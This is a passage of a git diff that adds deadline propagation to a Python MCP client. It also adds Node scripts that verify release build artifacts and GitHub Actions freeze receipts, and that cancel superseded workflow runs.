text=True, + stdout=stdout_capture, + stderr=stderr_capture, + timeout=timeout, + ) + except subprocess.TimeoutExpired as error: + stdout_capture.flush() + stderr_capture.flush() + stdout_capture.buffer.seek(0) + stderr_capture.buffer.seek(0) + stdout = stdout_capture.buffer.read() + stderr = stderr_capture.buffer.read() + # TimeoutExpired retains raw bytes even when subprocess text mode + # is enabled. Preserve that public shape as well as the output. + error.timeout = timeout + error.stdout = stdout or None + error.stderr = stderr or None + raise + stdout_capture.seek(0) + stderr_capture.seek(0) + stdout = stdout_capture.read() + stderr = stderr_capture.read() result = { "command": command, "exit_code": completed.returncode, "wall_ms": round((time.perf_counter() - started) * 1000, 3), - "stdout": completed.stdout, - "stderr": completed.stderr, + "stdout": stdout, + "stderr": stderr, } if completed.returncode != 0: - stdout_tail = completed.stdout[-2000:].strip() - stderr_tail = completed.stderr[-2000:].strip() + stdout_tail = stdout[-2000:].strip() + stderr_tail = stderr[-2000:].strip() details = "\n".join( part for part in ( @@ -143,11 +170,16 @@ def _stderr_reader(self) -> None: assert self.process.stderr self.stderr.extend(self.process.stderr.readlines()) - def send(self, request: dict) -> dict: + def send(self, request: dict, deadline: float | None = None) -> dict: assert self.process.stdin self.process.stdin.write(json.dumps(request) + "\n") self.process.stdin.flush() - deadline = time.monotonic() + self.timeout + # A caller that already owns a bound threads it in; otherwise this call owns its own. + # Minting a fresh full budget underneath a caller's deadline is how a readiness loop + # burns several times the declared timeout: the loop only re-checks its bound between + # transport waits, so one late request can add another whole timeout past it. + if deadline is None: + deadline = time.monotonic() + self.timeout while True: remaining = deadline - time.monotonic() require(remaining > 0, f"MCP request timed out: {request.get('id')}") @@ -238,14 +270,21 @@ def resource(self, uri: str, request_id: str) -> dict: uri, ) - def tool(self, name: str, arguments: dict, request_id: str) -> dict: + def tool( + self, + name: str, + arguments: dict, + request_id: str, + deadline: float | None = None, + ) -> dict: response = self.send( { "jsonrpc": "2.0", "id": request_id, "method": "tools/call", "params": {"name": name, "arguments": arguments}, - } + }, + deadline=deadline, ) require("error" not in response, f"MCP {name} failed: {response.get('error')}") return response @@ -255,13 +294,20 @@ def tool_until_ready( name: str, arguments: dict, request_id: str, + deadline: float | None = None, ) -> tuple[dict, int]: - deadline = time.monotonic() + self.timeout + # A caller that already owns a bound threads it in; otherwise this call owns its own. + # The same bound has to reach the transport, or each retry's request mints a fresh + # budget and the readiness loop overruns whatever deadline it was handed. + if deadline is None: + deadline = time.monotonic() + self.timeout attempt = 0 while True: attempt += 1 self.tool_attempt_counts[request_id] = attempt - response = self.tool(name, arguments, f"{request_id}-{attempt}") + response = self.tool( + name, arguments, f"{request_id}-{attempt}", deadline=deadline + ) result = response.get("result") require( isinstance(result, dict), @@ -331,7 +377,7 @@ def search_until_ready(self, arguments: dict, request_id: str) -> tuple[dict, in request_id if poll == 1 else f"{request_id}-degraded-{poll}" ) response, attempts = self.tool_until_ready( - "search", arguments, poll_request_id + "search", arguments, poll_request_id, deadline=deadline ) total_attempts += attempts self.tool_attempt_counts[request_id] = total_attempts diff --git a/.github/scripts/qualification-driver-artifact.mjs b/.github/scripts/qualification-driver-artifact.mjs new file mode 100644 index 000000000..d9f973550 --- /dev/null +++ b/.github/scripts/qualification-driver-artifact.mjs @@ -0,0 +1,524 @@ +#!/usr/bin/env node + +import { + chmodSync, + closeSync, + copyFileSync, + existsSync, + lstatSync, + mkdirSync, + openSync, + readFileSync, + readSync, + readdirSync, + renameSync, + writeFileSync, +} from "node:fs"; +import { createHash } from "node:crypto"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +const HEX_SHA = /^[0-9a-f]{40}$/u; +const HEX_SHA256 = /^[0-9a-f]{64}$/u; +const VERSION = /^[0-9]+\.[0-9]+\.[0-9]+$/u; +const TARGETS = new Map([ + ["linux-x64", { + archiveExtension: "tar.gz", + binary: "codestory_embedding_qualification", + rustTarget: "x86_64-unknown-linux-gnu", + }], + ["macos-arm64", { + archiveExtension: "tar.gz", + binary: "codestory_embedding_qualification", + rustTarget: "aarch64-apple-darwin", + }], + ["windows-x64", { + archiveExtension: "zip", + binary: "codestory_embedding_qualification.exe", + rustTarget: "x86_64-pc-windows-msvc", + }], +]); + +function fail(message) { + throw new Error(message); +} + +function parseArgs(argv) { + const [command, ...rest] = argv; + const values = new Map(); + for (let index = 0; index < rest.length; index += 2) { + const flag = rest[index]; + const value = rest[index + 1]; + if (!flag?.startsWith("--") || value === undefined) { + fail(`invalid argument near ${flag ?? ""}`); + } + if (values.has(flag)) { + fail(`duplicate argument ${flag}`); + } + values.set(flag, value); + } + return { command, values }; +} + +function required(values, flag) { + const value = values.get(flag); + if (!value) { + fail(`missing ${flag}`); + } + return value; +} + +function requireExactFlags(values, expected) { + const actual = [...values.keys()].sort(); + const allowed = [...expected].sort(); + if (JSON.stringify(actual) !== JSON.stringify(allowed)) { + fail("qualification driver helper arguments changed"); + } +} + +function exactKeys(value, keys, label) { + if (value === null || typeof value !== "object" || Array.isArray(value)) { + fail(`${label} must be an object`); + } + const actual = Object.keys(value).sort(); + const expected = [...keys].sort(); + if (JSON.stringify(actual) !== JSON.stringify(expected)) { + fail(`${label} keys changed`); + } +} + +function targetContract(assetTarget) { + const contract = TARGETS.get(assetTarget); + if (!contract) { + fail(`unsupported asset target ${assetTarget}`); + } + return contract; +} + +function requireSha(value, label) { + if (!HEX_SHA.test(value)) { + fail(`${label} must be a full lowercase commit digest`); + } +} + +function requireVersion(value) { + if (!VERSION.test(value)) { + fail("release version must be plain semver"); + } +} + +function regularFile(file, label) { + const metadata = lstatSync(file); + if ( + metadata.isSymbolicLink() + || !metadata.isFile() + || metadata.nlink !== 1 + ) { + fail(`${label} must be a regular, non-symlink, singly linked file`); + } + return metadata; +} + +function regularBuildOutput(file, label) { + const metadata = lstatSync(file); + if ( + metadata.isSymbolicLink() + || !metadata.isFile() + || !Number.isSafeInteger(metadata.nlink) + || metadata.nlink < 1 + ) { + fail(`${label} must be a regular, non-symlink build output`); + } + return metadata; +} + +function regularDirectory(directory, label) { + const metadata = lstatSync(directory); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) { + fail(`${label} must be a real non-symlink directory`); + } + return metadata; +} + +function containedRelativePath(root, candidate, label) { + const relative = path.relative(root, candidate); + if ( + relative === "" + || relative === ".." + || relative.startsWith(`..${path.sep}`) + || path.isAbsolute(relative) + ) { + fail(`${label} must be a descendant of its trusted root`); + } + return relative; +} + +function rejectSymlinkedPath({ + allowMissing, + candidate, + label, + root, +}) { + const resolvedRoot = path.resolve(root); + const resolvedCandidate = path.resolve(candidate); + const relative = containedRelativePath(resolvedRoot, resolvedCandidate, label); + const rootMetadata = lstatSync(resolvedRoot); + if ( + !rootMetadata.isDirectory() + || rootMetadata.isSymbolicLink() + ) { + fail(`${label} trusted root must be a real directory`); + } + + let cursor = resolvedRoot; + for (const component of relative.split(path.sep)) { + cursor = path.join(cursor, component); + if (!existsSync(cursor)) { + if (allowMissing) return; + fail(`${label} path component is missing`); + } + if (lstatSync(cursor).isSymbolicLink()) { + fail(`${label} must not traverse symbolic links`); + } + } +} + +function sha256(file) { + const hash = createHash("sha256"); + const handle = openSync(file, "r"); + const buffer = Buffer.allocUnsafe(1024 * 1024); + try { + for (;;) { + const bytesRead = readSync(handle, buffer, 0, buffer.length, null); + if (bytesRead === 0) break; + hash.update(buffer.subarray(0, bytesRead)); + } + } finally { + closeSync(handle); + } + return hash.digest("hex"); +} + +function canonicalIdentity({ + archiveBytes, + archiveDigest, + archiveFile, + assetTarget, + binary, + bytes, + digest, + sourceSha, + sourceTree, + version, +}) { + return { + schema_version: 1, + source: { + commit: sourceSha, + tree: sourceTree, + }, + release_version: version, + asset_target: assetTarget, + archive: { + file: archiveFile, + bytes: archiveBytes, + sha256: archiveDigest, + }, + driver: { + file: binary, + bytes, + sha256: digest, + }, + }; +} + +function writeJsonAtomically(output, value) { + const temporary = `${output}.tmp-${process.pid}`; + writeFileSync(temporary, `${JSON.stringify(value, null, 2)}\n`, { + encoding: "utf8", + flag: "wx", + mode: 0o600, + }); + renameSync(temporary, output); +} + +export function produceQualificationDriverArtifact({ + archive, + assetTarget, + outDir, + sourceSha, + sourceTree, + targetDir = process.env.CARGO_TARGET_DIR || "target", + trustedRoot = process.cwd(), + version, +}) { + const contract = targetContract(assetTarget); + requireSha(sourceSha, "source SHA"); + requireSha(sourceTree, "source tree"); + requireVersion(version); + + const expectedArchiveFile = + `codestory-cli-v${version}-${assetTarget}.${contract.archiveExtension}`; + const archivePath = path.resolve(archive); + rejectSymlinkedPath({ + allowMissing: false, + candidate: archivePath, + label: "candidate archive", + root: trustedRoot, + }); + const archiveMetadata = regularFile(archivePath, "candidate archive"); + if (path.basename(archivePath) !== expectedArchiveFile) { + fail("candidate archive name does not match the release target"); + } + + const source = path.resolve( + targetDir, + contract.rustTarget, + "release", + contract.binary, + ); + rejectSymlinkedPath({ + allowMissing: false, + candidate: source, + label: "qualification driver source", + root: targetDir, + }); + const sourceMetadata = regularBuildOutput( + source, + "qualification driver source", + ); + if (process.platform !== "win32" && (sourceMetadata.mode & 0o111) === 0) { + fail("qualification driver must be executable"); + } + + const outputDirectory = path.resolve(outDir); + rejectSymlinkedPath({ + allowMissing: true, + candidate: outputDirectory, + label: "qualification driver artifact directory", + root: trustedRoot, + }); + mkdirSync(outputDirectory, { recursive: true, mode: 0o700 }); + rejectSymlinkedPath({ + allowMissing: false, + candidate: outputDirectory, + label: "qualification driver artifact directory", + root: trustedRoot, + }); + regularDirectory(outputDirectory, "qualification driver artifact directory"); + if (readdirSync(outputDirectory).length !== 0) { + fail("qualification driver artifact directory must start empty"); + } + const staged = path.join(outputDirectory, contract.binary); + const identityPath = path.join( + outputDirectory, + "qualification-driver-identity.json", + ); + if (path.resolve(source) === path.resolve(staged)) { + fail("qualification driver source and artifact paths must differ"); + } + copyFileSync(source, staged); + if (process.platform !== "win32") { + chmodSync(staged, 0o755); + } + const stagedMetadata = regularFile(staged, "staged qualification driver"); + const digest = sha256(staged); + const identity = canonicalIdentity({ + archiveBytes: archiveMetadata.size, + archiveDigest: sha256(archivePath), + archiveFile: expectedArchiveFile, + assetTarget, + binary: contract.binary, + bytes: stagedMetadata.size, + digest, + sourceSha, + sourceTree, + version, + }); + writeJsonAtomically(identityPath, identity); + return { driver: staged, identity, identityPath }; +} + +export function verifyQualificationDriverArtifact({ + archive, + artifactDir, + assetTarget, + sourceSha, + sourceTree, + trustedRoot = process.cwd(), + version, +}) { + const contract = targetContract(assetTarget); + requireSha(sourceSha, "expected source SHA"); + requireSha(sourceTree, "expected source tree"); + requireVersion(version); + + const expectedArchiveFile = + `codestory-cli-v${version}-${assetTarget}.${contract.archiveExtension}`; + const archivePath = path.resolve(archive); + rejectSymlinkedPath({ + allowMissing: false, + candidate: archivePath, + label: "candidate archive", + root: trustedRoot, + }); + const archiveMetadata = regularFile(archivePath, "candidate archive"); + if (path.basename(archivePath) !== expectedArchiveFile) { + fail("candidate archive name does not match the release target"); + } + + const directory = path.resolve(artifactDir); + rejectSymlinkedPath({ + allowMissing: false, + candidate: directory, + label: "qualification driver artifact directory", + root: trustedRoot, + }); + regularDirectory(directory, "qualification driver artifact directory"); + const identityPath = path.join( + directory, + "qualification-driver-identity.json", + ); + regularFile(identityPath, "qualification driver identity"); + const identity = JSON.parse(readFileSync(identityPath, "utf8")); + exactKeys( + identity, + [ + "schema_version", + "source", + "release_version", + "asset_target", + "archive", + "driver", + ], + "qualification driver identity", + ); + exactKeys( + identity.source, + ["commit", "tree"], + "qualification driver source", + ); + exactKeys( + identity.archive, + ["file", "bytes", "sha256"], + "qualification driver archive identity", + ); + exactKeys( + identity.driver, + ["file", "bytes", "sha256"], + "qualification driver file identity", + ); + if ( + identity.schema_version !== 1 + || identity.source.commit !== sourceSha + || identity.source.tree !== sourceTree + || identity.release_version !== version + || identity.asset_target !== assetTarget + || identity.archive.file !== expectedArchiveFile + || !Number.isSafeInteger(identity.archive.bytes) + || identity.archive.bytes <= 0 + || !HEX_SHA256.test(identity.archive.sha256) + || identity.driver.file !== contract.binary + || !Number.isSafeInteger(identity.driver.bytes) + || identity.driver.bytes <= 0 + || !HEX_SHA256.test(identity.driver.sha256) + ) { + fail("qualification driver identity does not match the expected candidate"); + } + if ( + archiveMetadata.size !== identity.archive.bytes + || sha256(archivePath) !== identity.archive.sha256 + ) { + fail("candidate archive digest changed"); + } + + const driver = path.join(directory, identity.driver.file); + const metadata = regularFile(driver, "qualification driver artifact"); + if ( + metadata.size !== identity.driver.bytes + || sha256(driver) !== identity.driver.sha256 + ) { + fail("qualification driver artifact digest changed"); + } + const expectedDirectoryEntries = [ + "qualification-driver-identity.json", + contract.binary, + ].sort(); + if ( + JSON.stringify(readdirSync(directory).sort()) + !== JSON.stringify(expectedDirectoryEntries) + ) { + fail("qualification driver artifact directory contains unexpected files"); + } + // GitHub artifact extraction does not preserve Unix execute bits. Restore + // execution only after the downloaded regular file has matched the retained + // source/tree/target identity and byte digest. + if (process.platform !== "win32") { + chmodSync(driver, 0o755); + } + return { driver, identity, identityPath }; +} + +function usage() { + return [ + "Usage:", + " qualification-driver-artifact.mjs produce --asset-target TARGET --source-sha SHA --source-tree TREE --version VERSION --archive FILE --trusted-root DIR --target-dir DIR --out-dir DIR", + " qualification-driver-artifact.mjs verify --asset-target TARGET --source-sha SHA --source-tree TREE --version VERSION --archive FILE --trusted-root DIR --artifact-dir DIR", + ].join("\n"); +} + +function main(argv) { + const { command, values } = parseArgs(argv); + const commonFlags = [ + "--archive", + "--asset-target", + "--source-sha", + "--source-tree", + "--trusted-root", + "--version", + ]; + if (command === "produce") { + requireExactFlags(values, [...commonFlags, "--out-dir", "--target-dir"]); + } else if (command === "verify") { + requireExactFlags(values, [...commonFlags, "--artifact-dir"]); + } else { + fail(usage()); + } + const common = { + assetTarget: required(values, "--asset-target"), + archive: required(values, "--archive"), + sourceSha: required(values, "--source-sha"), + sourceTree: required(values, "--source-tree"), + trustedRoot: required(values, "--trusted-root"), + version: required(values, "--version").replace(/^v/u, ""), + }; + let result; + if (command === "produce") { + result = produceQualificationDriverArtifact({ + ...common, + outDir: required(values, "--out-dir"), + targetDir: required(values, "--target-dir"), + }); + } else if (command === "verify") { + result = verifyQualificationDriverArtifact({ + ...common, + artifactDir: required(values, "--artifact-dir"), + }); + } + process.stdout.write(`${JSON.stringify({ + driver: result.driver, + sha256: result.identity.driver.sha256, + })}\n`); +} + +const isMain = process.argv[1] + && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url); + +if (isMain) { + try { + main(process.argv.slice(2)); + } catch (error) { + process.stderr.write(`${error.message}\n`); + process.exitCode = 1; + } +} diff --git a/.github/scripts/release-freeze-acceptance-jobs.json b/.github/scripts/release-freeze-acceptance-jobs.json new file mode 100644 index 000000000..a2c0c005b --- /dev/null +++ b/.github/scripts/release-freeze-acceptance-jobs.json @@ -0,0 +1,11 @@ +{ + "schema": "codestory.release-freeze-acceptance-jobs/v2", + "workflow": ".github/workflows/source-proof.yml", + "workflow_context_sha256": "c4fc041ddabf8ac44f4966e13e0c351b4f0d70bf3a94878490aff7030f912f66", + "jobs": { + "resolve": "da6c955c944644cd714728bf67d43aabd4ad049d5fde943ce7b1739f3d7cd8e5", + "freeze-hostile-mutations": "ebc27d28a1c087f848be090d2a2a458acee0177f06048c4d357e0724cf38be1a", + "freeze-windows-native-probe": "03fc4c0ae9758564ea2d8588d6661c393e88939cf3a7b229448bbfcfc5e11457", + "freeze-acceptance": "544688894a77c9f95ef5799e3070ec3bea4e199b5ed650f9aa62d35a54e83ca4" + } +} diff --git a/.github/scripts/release-freeze-barrier.mjs b/.github/scripts/release-freeze-barrier.mjs new file mode 100644 index 000000000..81a9660e5 --- /dev/null +++ b/.github/scripts/release-freeze-barrier.mjs @@ -0,0 +1,835 @@ +#!/usr/bin/env node + +import { createHash } from "node:crypto"; +import { + lstatSync, + mkdtempSync, + readFileSync, + readdirSync, + rmSync, + writeFileSync, +} from "node:fs"; +import { execFileSync } from "node:child_process"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import process from "node:process"; + +const ACTIVE_RUN_STATES = new Set([ + "queued", + "waiting", + "requested", + "pending", + "in_progress", +]); +const CONSTANT_SET_PATH = + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json"; +const PHASE_CONTRACTS = Object.freeze({ + calibration_source: Object.freeze({ + knownFutureSourceChanges: Object.freeze([CONSTANT_SET_PATH]), + plannedProofActions: Object.freeze([ + "calibration-source-acceptance", + "calibration", + "generated-constant-freeze", + "frozen-candidate-acceptance", + "source-proof", + "qualification", + "release", + ]), + nextPermittedMutation: CONSTANT_SET_PATH, + }), + frozen_candidate: Object.freeze({ + knownFutureSourceChanges: Object.freeze([]), + plannedProofActions: Object.freeze([ + "frozen-candidate-acceptance", + "source-proof", + "qualification", + "release", + ]), + nextPermittedMutation: null, + }), +}); +const RECEIPT_ARTIFACT_PREFIX = "release-freeze-receipt-attempt-"; +const RECEIPT_FILE = "release-freeze-receipt.json"; +const STATUS_PREFIX = "codestory/release-freeze"; +const CANCEL_POLL_ATTEMPTS = Number.parseInt( + process.env.CODESTORY_FREEZE_CANCEL_POLL_ATTEMPTS ?? "10", + 10, +); +const CANCEL_POLL_MS = Number.parseInt( + process.env.CODESTORY_FREEZE_CANCEL_POLL_MS ?? "1000", + 10, +); + +function fail(message) { + throw new Error(message); +} + +function phaseContract(phase) { + const contract = PHASE_CONTRACTS[phase]; + if (!contract) { + fail("freeze phase must be calibration_source or frozen_candidate"); + } + return contract; +} + +function run(command, args, options = {}) { + return execFileSync(command, args, { + encoding: "utf8", + stdio: ["ignore", "pipe", "pipe"], + ...options, + }).trim(); +} + +function git(args, repo) { + return run("git", ["-C", repo, ...args]); +} + +function gh(args) { + return run("gh", args); +} + +function values(args, name) { + const result = []; + for (let index = 0; index < args.length; index += 1) { + if (args[index] === name) { + const value = args[index + 1]; + if (!value || value.startsWith("--")) { + fail(`${name} requires a value`); + } + result.push(value); + index += 1; + } + } + return result; +} + +function value(args, name, fallback = undefined) { + const found = values(args, name); + if (found.length > 1) { + fail(`${name} may be specified only once`); + } + return found[0] ?? fallback; +} + +function required(args, name) { + const result = value(args, name); + if (!result) { + fail(`${name} is required`); + } + return result; +} + +function parseJsonFile(path, label) { + try { + return JSON.parse(readFileSync(path, "utf8")); + } catch (error) { + fail(`${label} is not valid JSON: ${error.message}`); + } +} + +function stable(value) { + if (Array.isArray(value)) { + return value.map(stable); + } + if (value && typeof value === "object") { + return Object.fromEntries( + Object.entries(value) + .sort(([left], [right]) => left.localeCompare(right)) + .map(([key, item]) => [key, stable(item)]), + ); + } + return value; +} + +export function receiptDigest(receipt) { + const withoutDigest = { ...receipt }; + delete withoutDigest.digest; + return createHash("sha256") + .update(`${JSON.stringify(stable(withoutDigest))}\n`) + .digest("hex"); +} + +function elapsedSeconds(step) { + const started = Date.parse(String(step?.started_at ?? "")); + const completed = Date.parse(String(step?.completed_at ?? "")); + if (!Number.isFinite(started) || !Number.isFinite(completed) || completed < started) { + fail(`acceptance step ${step?.name ?? ""} has invalid Actions timing`); + } + return (completed - started) / 1000; +} + +export function validateAcceptanceProvenance({ + status, + run, + jobs, + artifact, + receipt, + repository, + commit, + tree, + digest, + phase, +}) { + const escapedRepository = repository.replace(/[.*+?^${}()|[\]\\]/gu, "\\$&"); + const target = new RegExp( + `^https://github\\.com/${escapedRepository}/actions/runs/([1-9][0-9]*)$`, + "u", + ).exec(String(status?.target_url ?? "")); + if ( + status?.state !== "success" + || status?.context !== `${STATUS_PREFIX}/${digest}` + || status?.description !== `tree=${tree}` + || status?.creator?.login !== "github-actions[bot]" + || status?.creator?.type !== "Bot" + || !target + ) { + fail("release freeze status is not authenticated Actions acceptance"); + } + if ( + String(run?.id) !== target[1] + || run?.head_sha !== commit + || run?.path !== ".github/workflows/source-proof.yml" + || run?.event !== "workflow_dispatch" + || run?.status !== "completed" + || run?.conclusion !== "success" + || run?.head_repository?.full_name !== repository + ) { + fail("release freeze acceptance run provenance changed"); + } + const artifactName = `${RECEIPT_ARTIFACT_PREFIX}${run.run_attempt}`; + if ( + artifact?.name !== artifactName + || artifact?.expired !== false + || String(artifact?.workflow_run?.id) !== String(run.id) + || receipt?.digest !== digest + ) { + fail("release freeze receipt artifact provenance changed"); + } + validateReceipt(receipt, { + repository, + commit, + tree, + runId: String(run.id), + runAttempt: String(run.run_attempt), + phase, + }); + if (!Array.isArray(jobs)) { + fail("release freeze acceptance jobs are missing"); + } + const requiredJobs = new Map([ + ["freeze-hostile-mutations", "Execute exact-head hostile mutation matrix"], + ["freeze-windows-native-probe", "Run exact-head Windows native probe"], + ["freeze-acceptance", "Publish executable release freeze"], + ]); + for (const [jobName, stepName] of requiredJobs) { + const job = jobs.find((candidate) => candidate?.name === jobName); + if ( + job?.status !== "completed" + || job?.conclusion !== "success" + || job?.head_sha !== commit + || String(job?.run_id) !== String(run.id) + || String(job?.run_attempt) !== String(run.run_attempt) + ) { + fail(`release freeze acceptance job ${jobName} is not a successful exact-run job`); + } + const step = job.steps?.find((candidate) => candidate?.name === stepName); + if (step?.status !== "completed" || step?.conclusion !== "success") { + fail(`release freeze acceptance step ${stepName} did not execute successfully`); + } + if (jobName === "freeze-windows-native-probe") { + const labels = new Set(job.labels ?? []); + for (const label of ["self-hosted", "Windows", "X64", "codestory-vulkan"]) { + if (!labels.has(label)) { + fail(`Windows native probe did not run on protected label ${label}`); + } + } + if (elapsedSeconds(step) >= 90) { + fail("Windows native probe must complete in under 90 seconds"); + } + } + } + return Number(target[1]); +} + +export function validateReceipt( + receipt, + { repository, commit, tree, runId, runAttempt, phase }, +) { + const expectedContract = phaseContract(phase); + if ( + receipt?.schema !== 3 + || receipt?.authority !== "github_actions" + || receipt?.phase !== phase + ) { + fail("freeze receipt must use the GitHub Actions authority schema"); + } + if ( + receipt.repository !== repository + || receipt.commit !== commit + || receipt.tree !== tree + ) { + fail("freeze receipt does not match the exact commit and tree"); + } + if (receipt.worktree_clean !== true || receipt.remote_head !== commit) { + fail("freeze receipt must prove a clean worktree pushed at the exact commit"); + } + if ( + !Number.isInteger(receipt?.release_pr?.number) + || receipt.release_pr.number <= 0 + || receipt?.release_pr?.head_commit !== commit + || receipt?.release_pr?.head !== receipt.branch + || receipt?.release_pr?.base !== "dev/codestory-next" + || !/^[0-9a-f]{40}$/u.test(String(receipt?.release_pr?.base_commit ?? "")) + ) { + fail("freeze receipt must bind the open release PR at this exact head"); + } + if ( + !Array.isArray(receipt.integrated_support_prs) + || new Set(receipt.integrated_support_prs.map(entry => entry?.number)).size + !== receipt.integrated_support_prs.length + ) { + fail("freeze receipt must contain unique integrated support PRs"); + } + if ( + !Array.isArray(receipt.known_future_source_changes) + || JSON.stringify(receipt.known_future_source_changes) + !== JSON.stringify(expectedContract.knownFutureSourceChanges) + ) { + fail(`freeze receipt future changes do not match ${phase}`); + } + if ( + JSON.stringify(receipt.planned_proof_actions) + !== JSON.stringify(expectedContract.plannedProofActions) + || JSON.stringify(receipt.proof_triggering_labels) !== "[]" + || JSON.stringify(receipt.proof_triggering_actions) !== JSON.stringify( + expectedContract.plannedProofActions, + ) + ) { + fail(`freeze receipt must record the exact ${phase} actions and no labels`); + } + for (const field of [ + "reusable_evidence", + "invalidated_evidence", + "running_workflows", + "cancelled_superseded_runs", + ]) { + if (!Array.isArray(receipt[field])) { + fail(`freeze receipt must contain ${field}`); + } + } + if (receipt.next_permitted_mutation !== expectedContract.nextPermittedMutation) { + fail(`freeze receipt next mutation does not match ${phase}`); + } + if ( + String(receipt?.acceptance_run?.id) !== String(runId) + || String(receipt?.acceptance_run?.attempt) !== String(runAttempt) + || receipt?.acceptance_run?.workflow !== ".github/workflows/source-proof.yml" + || receipt?.acceptance_run?.event !== "workflow_dispatch" + ) { + fail("freeze receipt must bind its exact Actions run and attempt"); + } + if (receipt.digest !== receiptDigest(receipt)) { + fail("freeze receipt digest does not match its contents"); + } +} + +function currentRuns(repository) { + const runs = []; + for (const status of ACTIVE_RUN_STATES) { + const raw = gh([ + "api", + "--paginate", + "--slurp", + `repos/${repository}/actions/runs?status=${status}&per_page=100`, + ]); + const pages = JSON.parse(raw || "[]"); + if (!Array.isArray(pages)) { + fail(`active workflow query for ${status} did not return paginated pages`); + } + for (const page of pages) { + for (const entry of page?.workflow_runs ?? []) { + runs.push({ + databaseId: entry.id, + workflowName: entry.name, + headSha: entry.head_sha, + headBranch: entry.head_branch, + status: entry.status, + event: entry.event, + url: entry.html_url, + }); + } + } + } + const unique = new Map(runs.map(entry => [String(entry.databaseId), entry])); + return [...unique.values()].filter((entry) => ACTIVE_RUN_STATES.has(entry.status)); +} + +function cancelSupersededRuns({ repository, commit, workflows, runs }) { + const allowlist = new Set(workflows); + const cancelled = []; + for (const entry of runs) { + if (!allowlist.has(entry.workflowName) || entry.headSha === commit) { + continue; + } + gh(["run", "cancel", String(entry.databaseId), "--repo", repository]); + cancelled.push({ + database_id: entry.databaseId, + head_sha: entry.headSha, + workflow: entry.workflowName, + }); + } + return cancelled; +} + +function waitForSupersededRunsToStop({ repository, commit, workflows }) { + if ( + !Number.isInteger(CANCEL_POLL_ATTEMPTS) + || CANCEL_POLL_ATTEMPTS < 1 + || !Number.isInteger(CANCEL_POLL_MS) + || CANCEL_POLL_MS < 0 + ) { + fail("cancellation polling configuration is invalid"); + } + for (let attempt = 0; attempt < CANCEL_POLL_ATTEMPTS; attempt += 1) { + const remaining = currentRuns(repository).filter((entry) => + workflows.includes(entry.workflowName) && entry.headSha !== commit + ); + if (remaining.length === 0) { + return; + } + if (attempt + 1 < CANCEL_POLL_ATTEMPTS) { + Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, CANCEL_POLL_MS); + } + } + fail("superseded broad proof remains queued or running after cancellation"); +} + +function cancelSuperseded(args) { + const repository = required(args, "--repository"); + const commit = required(args, "--commit"); + const workflows = values(args, "--broad-workflow"); + if (workflows.length === 0) { + fail("--broad-workflow is required"); + } + const before = currentRuns(repository); + const duplicate = before.find((entry) => + workflows.includes(entry.workflowName) + && entry.headSha === commit + && String(entry.databaseId) !== String(process.env.GITHUB_RUN_ID ?? "") + ); + if (duplicate) { + fail( + `unchanged head ${commit} already has active ${duplicate.workflowName} run ${duplicate.databaseId}`, + ); + } + const cancelled = cancelSupersededRuns({ + repository, + commit, + workflows, + runs: before, + }); + waitForSupersededRunsToStop({ repository, commit, workflows }); + process.stdout.write(`${JSON.stringify({ cancelled })}\n`); +} + +function invalidateSuperseded(args) { + const repository = required(args, "--repository"); + const commit = required(args, "--commit"); + const workflows = values(args, "--broad-workflow"); + if (workflows.length === 0) { + fail("--broad-workflow is required"); + } + const cancelled = cancelSupersededRuns({ + repository, + commit, + workflows, + runs: currentRuns(repository), + }); + waitForSupersededRunsToStop({ repository, commit, workflows }); + process.stdout.write(`${JSON.stringify({ cancelled })}\n`); +} + +function supportPr(repository, number, commit, repo) { + const pr = JSON.parse(gh([ + "pr", + "view", + String(number), + "--repo", + repository, + "--json", + "number,state,mergedAt,mergeCommit,baseRefName,headRefName", + ])); + const mergeCommit = pr?.mergeCommit?.oid; + if (pr.state !== "MERGED" || !pr.mergedAt || !mergeCommit) { + fail(`support PR #${number} is not merged`); + } + try { + git(["merge-base", "--is-ancestor", mergeCommit, commit], repo); + } catch { + fail(`support PR #${number} merge ${mergeCommit} is not integrated into ${commit}`); + } + return { + number: pr.number, + merge_commit: mergeCommit, + base: pr.baseRefName, + head: pr.headRefName, + }; +} + +function releasePr(repository, number, { branch, commit }) { + const pr = JSON.parse(gh(["api", `repos/${repository}/pulls/${number}`])); + const liveBaseRef = JSON.parse(gh([ + "api", + `repos/${repository}/git/ref/heads/dev/codestory-next`, + ])); + const liveBaseCommit = liveBaseRef?.object?.sha; + if ( + pr.state !== "open" + || pr?.base?.ref !== "dev/codestory-next" + || pr?.head?.ref !== branch + || pr?.head?.sha !== commit + || pr?.head?.repo?.full_name !== repository + || !/^[0-9a-f]{40}$/u.test(String(liveBaseCommit ?? "")) + ) { + fail( + `release PR #${number} must be an open same-repository ${branch} -> ` + + `dev/codestory-next PR at exact head ${commit}`, + ); + } + const comparison = JSON.parse(gh([ + "api", + `repos/${repository}/compare/${liveBaseCommit}...${commit}`, + ])); + if (!["ahead", "identical"].includes(comparison?.status)) { + fail( + `release PR #${number} head ${commit} does not contain current dev base ${liveBaseCommit}`, + ); + } + return { + number: pr.number, + base: pr.base.ref, + base_commit: liveBaseCommit, + head: pr.head.ref, + head_commit: pr.head.sha, + }; +} + +function jsonArray(args, name, label) { + let parsed; + try { + parsed = JSON.parse(value(args, name, "[]")); + } catch (error) { + fail(`${label} must be valid JSON: ${error.message}`); + } + if (!Array.isArray(parsed)) { + fail(`${label} must be a JSON array`); + } + return parsed; +} + +function stringArray(args, name, label) { + const parsed = jsonArray(args, name, label); + if (!parsed.every(entry => typeof entry === "string" && entry.length > 0)) { + fail(`${label} must contain only non-empty strings`); + } + return parsed; +} + +function recordActionsReceipt(args) { + const repo = value(args, "--repo", process.cwd()); + const repository = required(args, "--repository"); + const branch = required(args, "--branch"); + const commit = required(args, "--commit"); + const tree = required(args, "--tree"); + const output = required(args, "--output"); + const releasePrNumber = required(args, "--release-pr"); + const runId = required(args, "--run-id"); + const runAttempt = required(args, "--run-attempt"); + const phase = required(args, "--phase"); + const contract = phaseContract(phase); + const supportPrNumbers = jsonArray(args, "--support-prs-json", "support PRs"); + if ( + !supportPrNumbers.every(number => Number.isInteger(number) && number > 0) + || new Set(supportPrNumbers).size !== supportPrNumbers.length + ) { + fail("support PRs must contain unique positive integers"); + } + const reusableEvidence = stringArray( + args, + "--reusable-evidence-json", + 